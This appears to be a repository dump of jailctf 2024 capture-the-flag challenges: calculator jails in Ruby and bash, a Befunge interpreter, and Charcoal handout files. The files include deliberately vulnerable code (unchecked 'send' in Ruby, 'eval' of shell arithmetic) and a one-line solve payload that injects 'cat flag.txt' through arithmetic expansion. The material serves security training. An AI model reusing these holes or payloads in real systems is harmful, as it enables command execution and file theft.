4 | left = left.to_i if left.is_a? String
5 | right = right.to_i if right.is_a? String
6 |
7 | return left + right
8 | end
9 |
10 | def self.- left, right
11 | left = left.to_i if left.is_a? String
12 | right = right.to_i if right.is_a? String
13 |
14 | return left - right
15 | end
16 |
17 | def self.* left, right
18 | left = left.to_i if left.is_a? String
19 | right = right.to_i if right.is_a? String
20 |
21 | return left * right
22 | end
23 |
24 | def self./ left, right
25 | left = left.to_i if left.is_a? String
26 | right = right.to_i if right.is_a? String
27 |
28 | return left / right
29 | end
30 |
31 | def self.% left, right
32 | left = left.to_i if left.is_a? String
33 | right = right.to_i if right.is_a? String
34 |
35 | return left % right
36 | end
37 | end
38 |
39 | STDOUT.sync = true
40 | puts <<~HEADER
41 | SUS Calculator (Super Ultra Safe Calculator)
42 | I heard using eval for these calculator apps is bad, so I made sure to avoid it
43 | Good luck doing anything malicious here >:)
44 |
45 | HEADER
46 |
47 | loop do
48 | print "> "
49 | cmd = gets.chomp.split
50 |
51 | if cmd.size != 3
52 | puts "Usage: num (+|-|*|/|%) num"
53 | next
54 | end
55 |
56 | left, op, right = cmd
57 | puts Calc.send(op.to_sym, left, right)
58 | end
59 |
--------------------------------------------------------------------------------
/SUS-Calculator/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/SUS-Calculator/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ruby:latest AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 chal.rb /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=10M JAIL_ENV_NUM=5 JAIL_TIME=50 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/SUS-Calculator/remote/chal.rb:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/ruby
2 | class Calc
3 | def self.+ left, right
4 | left = left.to_i if left.is_a? String
5 | right = right.to_i if right.is_a? String
6 |
7 | return left + right
8 | end
9 |
10 | def self.- left, right
11 | left = left.to_i if left.is_a? String
12 | right = right.to_i if right.is_a? String
13 |
14 | return left - right
15 | end
16 |
17 | def self.* left, right
18 | left = left.to_i if left.is_a? String
19 | right = right.to_i if right.is_a? String
20 |
21 | return left * right
22 | end
23 |
24 | def self./ left, right
25 | left = left.to_i if left.is_a? String
26 | right = right.to_i if right.is_a? String
27 |
28 | return left / right
29 | end
30 |
31 | def self.% left, right
32 | left = left.to_i if left.is_a? String
33 | right = right.to_i if right.is_a? String
34 |
35 | return left % right
36 | end
37 | end
38 |
39 | STDOUT.sync = true
40 | puts <<~HEADER
41 | SUS Calculator (Super Ultra Safe Calculator)
42 | I heard using eval for these calculator apps is bad, so I made sure to avoid it
43 | Good luck doing anything malicious here >:)
44 |
45 | HEADER
46 |
47 | loop do
48 | print "> "
49 | cmd = gets.chomp.split
50 |
51 | if cmd.size != 3
52 | puts "Usage: num (+|-|*|/|%) num"
53 | next
54 | end
55 |
56 | left, op, right = cmd
57 | puts Calc.send(op.to_sym, left, right)
58 | end
59 |
--------------------------------------------------------------------------------
/SUS-Calculator/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{me_when_i_uhhh_escape}
2 |
--------------------------------------------------------------------------------
/SUS-Calculator/solve/README.md:
--------------------------------------------------------------------------------
1 | # SUS Calculator
2 |
3 | todo put solve idea here
4 |
5 |
--------------------------------------------------------------------------------
/befunge-breakout/README.md:
--------------------------------------------------------------------------------
1 | # befunge breakout
2 |
3 | category: esolang/befunge/pwn
4 |
5 | ## description
6 |
7 | look at this calculator program some guy made in befunge
8 |
9 |
--------------------------------------------------------------------------------
/befunge-breakout/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu@sha256:25895062172a2f39ae36da530f3db244b507d7ffb1c4dd42a3a487b5b446e996 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=444 LICENSE /srv/app/LICENSE
6 | COPY --chmod=444 README.md /srv/app/README.md
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | COPY --chmod=755 src/ /srv/app/src/
9 | COPY --chmod=755 run.sh /srv/app/run
10 | RUN mv /srv/app/flag.txt /srv/flag-$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt
11 | ENV JAIL_MEM=10M JAIL_PIDS=6 JAIL_ENV_NUM=5 JAIL_TIME=60 JAIL_CONNS_PER_IP=2
12 |
--------------------------------------------------------------------------------
/befunge-breakout/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/befunge-breakout/handout/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | /app/src/cbi /app/src/test/calc.bf
3 |
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/build.sh:
--------------------------------------------------------------------------------
1 | gcc -Wall -Wextra -std=c99 -c -fno-pie cbi.c
2 | gcc -Wall -Wextra -std=c99 -c -fno-pie delta.c
3 | gcc -Wall -Wextra -std=c99 -c -fno-pie stack.c
4 | gcc -Wall -Wextra -std=c99 -no-pie cbi.o delta.o stack.o -o cbi
5 |
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/cbi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/handout/src/cbi
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/cbi.h:
--------------------------------------------------------------------------------
1 | #ifndef CBI_H_20161011_193425
2 | #define CBI_H_20161011_193425
3 |
4 | #include "delta.h"
5 |
6 | #define MAKE_PRINT(X) (X) = (((X) < 0x20 || (X) > 0x7E) ? 0x20 : (X))
7 | #define NUM(X) (((X) <= 0x39) ? (X) - 0x30 : 10 + (X) - 0x61)
8 | #define ABS(X) (((X) < 0) ? (-(X)) : (X))
9 |
10 | typedef enum ascii_mode_e {
11 | OFF, SINGLE, MULTI
12 | } ascii_mode_t;
13 |
14 | typedef struct instruction_space_t {
15 | int num_rows;
16 | int num_cols;
17 | char **space;
18 | } instruction_space;
19 |
20 | void (*direction[4]) (delta_t*) = {up, down, left, right};
21 |
22 | #endif
23 |
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/cbi.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/handout/src/cbi.o
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/delta.c:
--------------------------------------------------------------------------------
1 | // Befunge IP delta
2 | // Author: xxc3nsoredxx
3 |
4 | #include "delta.h"
5 |
6 | void up (delta_t *delta) {
7 | delta->delta_x = 0;
8 | delta->delta_y = -1;
9 | }
10 |
11 | void down (delta_t *delta) {
12 | delta->delta_x = 0;
13 | delta->delta_y = 1;
14 | }
15 |
16 | void left (delta_t *delta) {
17 | delta->delta_x = -1;
18 | delta->delta_y = 0;
19 | }
20 |
21 | void right (delta_t *delta) {
22 | delta->delta_x = 1;
23 | delta->delta_y = 0;
24 | }
25 |
26 | void rel_left (delta_t *delta) {
27 | delta->delta_x ^= delta->delta_y;
28 | delta->delta_y ^= delta->delta_x;
29 | delta->delta_x ^= delta->delta_y;
30 | delta->delta_y = -(delta->delta_y);
31 | }
32 |
33 | void rel_right (delta_t *delta) {
34 | delta->delta_x ^= delta->delta_y;
35 | delta->delta_y ^= delta->delta_x;
36 | delta->delta_x ^= delta->delta_y;
37 | delta->delta_x = -(delta->delta_x);
38 | }
39 |
40 | void reflect (delta_t *delta) {
41 | delta->delta_x = -(delta->delta_x);
42 | delta->delta_y = -(delta->delta_y);
43 | }
44 |
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/delta.h:
--------------------------------------------------------------------------------
1 | #ifndef DELTA_H_20160923_142135
2 | #define DELTA_H_20160923_142135
3 |
4 | typedef struct delta_s {
5 | int delta_x;
6 | int delta_y;
7 | } delta_t;
8 |
9 | void up (delta_t*);
10 | void down (delta_t*);
11 | void left (delta_t*);
12 | void right (delta_t*);
13 | void rel_left (delta_t*);
14 | void rel_right (delta_t*);
15 | void reflect (delta_t*);
16 |
17 | #endif
18 |
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/delta.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/handout/src/delta.o
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/stack.c:
--------------------------------------------------------------------------------
1 | // Stack Implementation
2 | // Author: xxc3nsoredxx
3 |
4 | #include
5 | #include
6 | #include "stack.h"
7 |
8 | // Initialize a stack
9 | stack_t* init () {
10 | stack_t *ret = (stack_t*) malloc (sizeof (stack_t));
11 |
12 | ret->top = 0;
13 | ret->bottom = 0;
14 |
15 | return ret;
16 | }
17 |
18 | // Push value onto stack
19 | bool push (stack_t *s, int value) {
20 | stack_entry_t *temp = (stack_entry_t*) malloc (sizeof (stack_entry_t));
21 |
22 | if (s->top == 0) {
23 | temp->value = value;
24 | temp->next = 0;
25 | s->top = temp;
26 | s->bottom = temp;
27 |
28 | return true;
29 | }
30 |
31 | temp->value = value;
32 | temp->next = s->top;
33 | s->top = temp;
34 |
35 | return true;
36 | }
37 |
38 | // Pop value from stack
39 | // Returns 0 if popping an empty stack
40 | int pop (stack_t *s) {
41 | int ret = s->top->value;
42 |
43 | // If the current top of the stack is the only member, reset values
44 | // Else set the top of the stack to the next one and free the old top
45 | if (s->top == s->bottom && s->top != 0) {
46 | s->top->value = 0;
47 | s->top->next = 0;
48 | } else if (s->top != 0) {
49 | stack_entry_t *del = s->top;
50 | s->top = s->top->next;
51 | free(del);
52 | }
53 |
54 | return ret;
55 | }
56 |
57 | // Flush the stack
58 | bool clear (stack_t *s) {
59 | while (s->top->next != 0) {
60 | pop (s);
61 | }
62 |
63 | return true;
64 | }
65 |
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/stack.h:
--------------------------------------------------------------------------------
1 | #ifndef STACK_H_20160919_205120
2 | #define STACK_H_20160919_205120
3 |
4 | typedef enum bool_e {
5 | true, false
6 | } bool;
7 |
8 | typedef struct stack_entry_s {
9 | int value;
10 | struct stack_entry_s *next;
11 | } stack_entry_t;
12 |
13 | typedef struct stack_s {
14 | stack_entry_t *top;
15 | stack_entry_t *bottom;
16 | } stack_t;
17 |
18 | stack_t* init ();
19 | bool push (stack_t*, int);
20 | int pop (stack_t*);
21 | bool clear (stack_t*);
22 |
23 | #endif
24 |
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/stack.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/handout/src/stack.o
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/test/calc.bf:
--------------------------------------------------------------------------------
1 | v A simple integer calculator
2 | Acts as a REPL for Befunge's math operators
3 | Only works with simple calculations
4 | Such as 1+1 and 15*2
5 |
6 | < v ,k*29"Enter qqq to quit."a
7 | < v,k-1*3b"Enter a calculation such as 1+1: " <
8 | v \&~&<
9 | > :88pv> .a, ^
10 | ^ <
11 | >'q-|
12 | @
13 |
--------------------------------------------------------------------------------
/befunge-breakout/handout/src/test/hw.bf:
--------------------------------------------------------------------------------
1 | dk,@
3 |
--------------------------------------------------------------------------------
/befunge-breakout/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu@sha256:25895062172a2f39ae36da530f3db244b507d7ffb1c4dd42a3a487b5b446e996 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=444 LICENSE /srv/app/LICENSE
6 | COPY --chmod=444 README.md /srv/app/README.md
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | COPY --chmod=755 src/ /srv/app/src/
9 | COPY --chmod=755 run.sh /srv/app/run
10 | RUN mv /srv/app/flag.txt /srv/flag-$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt
11 | ENV JAIL_MEM=10M JAIL_PIDS=6 JAIL_ENV_NUM=5 JAIL_TIME=60 JAIL_CONNS_PER_IP=2
12 |
--------------------------------------------------------------------------------
/befunge-breakout/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{insecure_in_both_the_prog_and_the_interpreter_8a548be1}
2 |
--------------------------------------------------------------------------------
/befunge-breakout/remote/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | /app/src/cbi /app/src/test/calc.bf
3 |
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/build.sh:
--------------------------------------------------------------------------------
1 | gcc -Wall -Wextra -std=c99 -c -fno-pie cbi.c
2 | gcc -Wall -Wextra -std=c99 -c -fno-pie delta.c
3 | gcc -Wall -Wextra -std=c99 -c -fno-pie stack.c
4 | gcc -Wall -Wextra -std=c99 -no-pie cbi.o delta.o stack.o -o cbi
5 |
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/cbi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/remote/src/cbi
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/cbi.h:
--------------------------------------------------------------------------------
1 | #ifndef CBI_H_20161011_193425
2 | #define CBI_H_20161011_193425
3 |
4 | #include "delta.h"
5 |
6 | #define MAKE_PRINT(X) (X) = (((X) < 0x20 || (X) > 0x7E) ? 0x20 : (X))
7 | #define NUM(X) (((X) <= 0x39) ? (X) - 0x30 : 10 + (X) - 0x61)
8 | #define ABS(X) (((X) < 0) ? (-(X)) : (X))
9 |
10 | typedef enum ascii_mode_e {
11 | OFF, SINGLE, MULTI
12 | } ascii_mode_t;
13 |
14 | typedef struct instruction_space_t {
15 | int num_rows;
16 | int num_cols;
17 | char **space;
18 | } instruction_space;
19 |
20 | void (*direction[4]) (delta_t*) = {up, down, left, right};
21 |
22 | #endif
23 |
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/cbi.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/remote/src/cbi.o
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/delta.c:
--------------------------------------------------------------------------------
1 | // Befunge IP delta
2 | // Author: xxc3nsoredxx
3 |
4 | #include "delta.h"
5 |
6 | void up (delta_t *delta) {
7 | delta->delta_x = 0;
8 | delta->delta_y = -1;
9 | }
10 |
11 | void down (delta_t *delta) {
12 | delta->delta_x = 0;
13 | delta->delta_y = 1;
14 | }
15 |
16 | void left (delta_t *delta) {
17 | delta->delta_x = -1;
18 | delta->delta_y = 0;
19 | }
20 |
21 | void right (delta_t *delta) {
22 | delta->delta_x = 1;
23 | delta->delta_y = 0;
24 | }
25 |
26 | void rel_left (delta_t *delta) {
27 | delta->delta_x ^= delta->delta_y;
28 | delta->delta_y ^= delta->delta_x;
29 | delta->delta_x ^= delta->delta_y;
30 | delta->delta_y = -(delta->delta_y);
31 | }
32 |
33 | void rel_right (delta_t *delta) {
34 | delta->delta_x ^= delta->delta_y;
35 | delta->delta_y ^= delta->delta_x;
36 | delta->delta_x ^= delta->delta_y;
37 | delta->delta_x = -(delta->delta_x);
38 | }
39 |
40 | void reflect (delta_t *delta) {
41 | delta->delta_x = -(delta->delta_x);
42 | delta->delta_y = -(delta->delta_y);
43 | }
44 |
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/delta.h:
--------------------------------------------------------------------------------
1 | #ifndef DELTA_H_20160923_142135
2 | #define DELTA_H_20160923_142135
3 |
4 | typedef struct delta_s {
5 | int delta_x;
6 | int delta_y;
7 | } delta_t;
8 |
9 | void up (delta_t*);
10 | void down (delta_t*);
11 | void left (delta_t*);
12 | void right (delta_t*);
13 | void rel_left (delta_t*);
14 | void rel_right (delta_t*);
15 | void reflect (delta_t*);
16 |
17 | #endif
18 |
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/delta.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/remote/src/delta.o
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/stack.c:
--------------------------------------------------------------------------------
1 | // Stack Implementation
2 | // Author: xxc3nsoredxx
3 |
4 | #include
5 | #include
6 | #include "stack.h"
7 |
8 | // Initialize a stack
9 | stack_t* init () {
10 | stack_t *ret = (stack_t*) malloc (sizeof (stack_t));
11 |
12 | ret->top = 0;
13 | ret->bottom = 0;
14 |
15 | return ret;
16 | }
17 |
18 | // Push value onto stack
19 | bool push (stack_t *s, int value) {
20 | stack_entry_t *temp = (stack_entry_t*) malloc (sizeof (stack_entry_t));
21 |
22 | if (s->top == 0) {
23 | temp->value = value;
24 | temp->next = 0;
25 | s->top = temp;
26 | s->bottom = temp;
27 |
28 | return true;
29 | }
30 |
31 | temp->value = value;
32 | temp->next = s->top;
33 | s->top = temp;
34 |
35 | return true;
36 | }
37 |
38 | // Pop value from stack
39 | // Returns 0 if popping an empty stack
40 | int pop (stack_t *s) {
41 | int ret = s->top->value;
42 |
43 | // If the current top of the stack is the only member, reset values
44 | // Else set the top of the stack to the next one and free the old top
45 | if (s->top == s->bottom && s->top != 0) {
46 | s->top->value = 0;
47 | s->top->next = 0;
48 | } else if (s->top != 0) {
49 | stack_entry_t *del = s->top;
50 | s->top = s->top->next;
51 | free(del);
52 | }
53 |
54 | return ret;
55 | }
56 |
57 | // Flush the stack
58 | bool clear (stack_t *s) {
59 | while (s->top->next != 0) {
60 | pop (s);
61 | }
62 |
63 | return true;
64 | }
65 |
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/stack.h:
--------------------------------------------------------------------------------
1 | #ifndef STACK_H_20160919_205120
2 | #define STACK_H_20160919_205120
3 |
4 | typedef enum bool_e {
5 | true, false
6 | } bool;
7 |
8 | typedef struct stack_entry_s {
9 | int value;
10 | struct stack_entry_s *next;
11 | } stack_entry_t;
12 |
13 | typedef struct stack_s {
14 | stack_entry_t *top;
15 | stack_entry_t *bottom;
16 | } stack_t;
17 |
18 | stack_t* init ();
19 | bool push (stack_t*, int);
20 | int pop (stack_t*);
21 | bool clear (stack_t*);
22 |
23 | #endif
24 |
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/stack.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/remote/src/stack.o
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/test/calc.bf:
--------------------------------------------------------------------------------
1 | v A simple integer calculator
2 | Acts as a REPL for Befunge's math operators
3 | Only works with simple calculations
4 | Such as 1+1 and 15*2
5 |
6 | < v ,k*29"Enter qqq to quit."a
7 | < v,k-1*3b"Enter a calculation such as 1+1: " <
8 | v \&~&<
9 | > :88pv> .a, ^
10 | ^ <
11 | >'q-|
12 | @
13 |
--------------------------------------------------------------------------------
/befunge-breakout/remote/src/test/hw.bf:
--------------------------------------------------------------------------------
1 | dk,@
3 |
--------------------------------------------------------------------------------
/befunge-breakout/solve/README.md:
--------------------------------------------------------------------------------
1 | # befunge breakout
2 |
3 | todo solve idea here
4 |
5 |
--------------------------------------------------------------------------------
/befunge-breakout/solve/ld-linux-x86-64.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/solve/ld-linux-x86-64.so.2
--------------------------------------------------------------------------------
/befunge-breakout/solve/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/befunge-breakout/solve/libc.so.6
--------------------------------------------------------------------------------
/blind-calc/README.md:
--------------------------------------------------------------------------------
1 | # blind-calc
2 |
3 | category: mainstream/bash/introductory
4 |
5 | ## description
6 |
7 | calculator using arithmetic expansion in bash
8 |
9 |
--------------------------------------------------------------------------------
/blind-calc/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 run.sh /srv/app/run
6 | COPY --chmod=755 blind.sh /srv/app/blind.sh
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_TIME=90 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/blind-calc/remote/blind.sh:
--------------------------------------------------------------------------------
1 | echo -n "Enter math > "
2 | read -p "" math
3 | eval res=$(("$math"))
4 | echo $res
5 |
--------------------------------------------------------------------------------
/blind-calc/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{blind-calc_9c701e8c09f6cc0edd6}
2 |
--------------------------------------------------------------------------------
/blind-calc/remote/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | while true; do
4 | ./blind.sh
5 | done;
6 |
--------------------------------------------------------------------------------
/blind-calc/solve/README.md:
--------------------------------------------------------------------------------
1 | # blind-calc
2 |
3 | https://research.nccgroup.com/2020/05/12/shell-arithmetic-expansion-and-evaluation-abuse/
4 |
5 | ```
6 | arr[$(cat flag.txt)]
7 | ```
8 |
9 |
--------------------------------------------------------------------------------
/charredcoal/README.md:
--------------------------------------------------------------------------------
1 | # charredcoal
2 |
3 | category: pyjail/esolang/charcoal
4 |
5 | ## description
6 |
7 | dw this [char coal](https://esolangs.org/wiki/Charcoal) is 100% utf8 free mhm
8 |
9 |
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/.gitignore:
--------------------------------------------------------------------------------
1 | .c9/
2 | __pycache__/
3 | .~c9*
4 | out*
5 | *.swp
6 | *.cl
7 | *.clv
8 | *.clg
9 | test.in
10 |
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/.travis.yml:
--------------------------------------------------------------------------------
1 | language: python
2 | python:
3 | - "3.4"
4 | - "3.5"
5 | - "3.6" # current default Python on Travis CI
6 | - "3.7"
7 | - "3.8"
8 | - "3.8-dev" # 3.8 development branch
9 | - "nightly" # nightly build
10 | # command to install dependencies
11 | install:
12 | - pip install -r requirements.txt
13 | # command to run tests
14 | script:
15 | - python test.py
16 |
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2016 E-Hern Lee and David Loscutoff
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
4 |
5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
6 |
7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
8 |
9 |
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/README.md:
--------------------------------------------------------------------------------
1 | # Charcoal
2 |
3 | Want to be able to write basic Charcoal quickly? Then read on. If you came here looking for help, scroll to the bottom for the FAQ.
4 |
5 | ## Example REPL session
6 |
7 | To use the REPL, simply invoke with `./charcoal.py`, `python charcoal.py` or `python3 charcoal.py`.
8 |
9 | Charcoal> Hello, World!
10 | Hello, World!
11 | Charcoal> ^C
12 | Cleared canvas
13 |
14 | ## Literals
15 | There are two basic types of literals: strings and numbers. A string is just a run of printable ASCII, and a number is just a run of the superscript digits `⁰¹²³⁴⁵⁶⁷⁸⁹`.
16 |
17 | Examples:
18 | `foo` is equivalent to `"foo"`.
19 | `foo¶bar` is the same as `"foo\nbar"`.
20 | `¹²³⁴` is `1234`.
21 |
22 | ## Printing
23 | In a Charcoal program, expressions are implicitly printed. Numbers print a line, and arrows can be used to specify a direction.
24 |
25 | Examples:
26 | `foo` prints `foo`
27 | `foo⁴` prints `foo----`
28 | `foo↖⁴` prints:
29 | ```
30 | \
31 | \
32 | \
33 | foo\
34 | ```
35 |
36 | ## FAQ
37 | - When I run Charcoal it throws some errors about UTF-8 characters and exits.
38 | - Maybe you don't have Python 3 installed. Try installing Python 3 from [here](https://www.python.org/downloads/).
39 | - When I run Charcoal it throws some errors and exits.
40 | - If the message comes with a stack trace, it looks like you have found a bug. File a bug report [here](https://github.com/somebody1234/Charcoal/issues), and we'll come back to you as soon as we can.
41 |
42 |
43 |
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/TODO.md:
--------------------------------------------------------------------------------
1 | # To Do
2 | - [ ] Make empty lines [] not [""]
3 | - [ ] Better detection of empty spaces
4 | - [ ] Decide whether to add roll (shift string right (and maybe left))?,
5 | translate and more complex number things e.g. factor
6 | - [ ] Add other operators to tutor? Introduce preinitialized variables?
7 | - [ ] Use one charcoal instance for new charcoal (lambdafy) maybe?
8 | - [ ] zip
9 | - [ ] Make ASTProcessor lines <80 chars
10 | - [ ] Make lambdas not print result if they also return it
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/charredcoal/handout/Charcoal/__init__.py
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/appveyor.yml:
--------------------------------------------------------------------------------
1 | environment:
2 |
3 | matrix:
4 |
5 | # For Python versions available on Appveyor, see
6 | # http://www.appveyor.com/docs/installed-software#python
7 | # The list here is complete (excluding Python 2.6, which
8 | # isn't covered by this document) at the time of writing.
9 | - PYTHON: "C:\\Python34"
10 | - PYTHON: "C:\\Python35"
11 | - PYTHON: "C:\\Python36"
12 | - PYTHON: "C:\\Python37"
13 | - PYTHON: "C:\\Python38"
14 | - PYTHON: "C:\\Python35-x64"
15 | - PYTHON: "C:\\Python36-x64"
16 | - PYTHON: "C:\\Python37-x64"
17 | - PYTHON: "C:\\Python38-x64"
18 |
19 | install:
20 | # We need wheel installed to build wheels
21 | - "%PYTHON%\\python.exe -m pip install brotli regex"
22 |
23 | build: off
24 |
25 | test_script:
26 | - "%PYTHON%\\python.exe test.py"
27 |
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/charcoaltoken.py:
--------------------------------------------------------------------------------
1 | CharcoalTokenNames = [
2 | "Arrow",
3 | "Multidirectional",
4 | "Side",
5 | "S",
6 | "String",
7 | "Number",
8 | "Name",
9 | "Span",
10 |
11 | "Arrows",
12 | "Sides",
13 | "WolframExpressions",
14 | "Expressions",
15 | "Fixes",
16 | "PairExpressions",
17 | "Cases",
18 |
19 | "WolframExpression",
20 | "Expression",
21 | "ExpressionOrEOF",
22 | "Nilary",
23 | "Unary",
24 | "Binary",
25 | "Ternary",
26 | "Quarternary",
27 | "LazyUnary",
28 | "LazyBinary",
29 | "LazyTernary",
30 | "LazyQuarternary",
31 | "Infix",
32 | "Prefix",
33 | "Fix",
34 | "FixOrEOF",
35 | "OtherOperator",
36 |
37 | "WolframList",
38 | "List",
39 | "Dictionary",
40 |
41 | "Program",
42 | "NonEmptyProgram",
43 | "Body",
44 | "Command",
45 |
46 | "LP",
47 | "RP",
48 |
49 | "EOF",
50 |
51 | "MAX",
52 | ]
53 |
54 |
55 | class CharcoalToken:
56 | pass
57 |
58 | for i in range(len(CharcoalTokenNames)):
59 | setattr(CharcoalToken, CharcoalTokenNames[i], i)
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/direction.py:
--------------------------------------------------------------------------------
1 | from enum import Enum
2 |
3 |
4 | class Direction(Enum):
5 | left = 1
6 | up = 2
7 | right = 3
8 | down = 4
9 | up_left = 5
10 | up_right = 6
11 | down_left = 7
12 | down_right = 8
13 |
14 | DirectionToString = {
15 | Direction.left: "←",
16 | Direction.up: "↑",
17 | Direction.right: "→",
18 | Direction.down: "↓",
19 | Direction.up_left: "↖",
20 | Direction.up_right: "↗",
21 | Direction.down_left: "↙",
22 | Direction.down_right: "↘"
23 | }
24 |
25 |
26 | class Pivot(Enum):
27 | left = 1
28 | right = 2
29 |
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/extras.py:
--------------------------------------------------------------------------------
1 | go = goat = """\
2 | ___.
3 | // \\\\
4 | (( ''
5 | \\\\__,
6 | /6 (%)\\,
7 | (__/:";,;\\--____----_
8 | ;; :';,:';`;,';,;';`,`_
9 | ;:,;;';';,;':,';';,-Y\\
10 | ;,;,;';';,;':;';'; Z/
11 | / ;,';';,;';,;';;'
12 | / / |';/~~~~~\\';;'
13 | ( K | | || |
14 | \\_\\ | | || |
15 | \\Z | | || |
16 | L_| LL_|
17 | LW/ LLW/""" # evil sheep suck
18 |
19 | sh = sheep = "sheep suck"
20 |
21 | de = dennis = """\
22 | _,-'''--,.__ _
23 | _.*'' __''>#=--""\"
24 | _ ./" _.-'' '\\._
25 | / "'--.____ _.-' __.-'' '\\.
26 | / "Y __/" /// "\\.
27 | | /" _/" /// --.________ * "\\
28 | | // /""|---______"\\
29 | | . ""'--.__ H _./
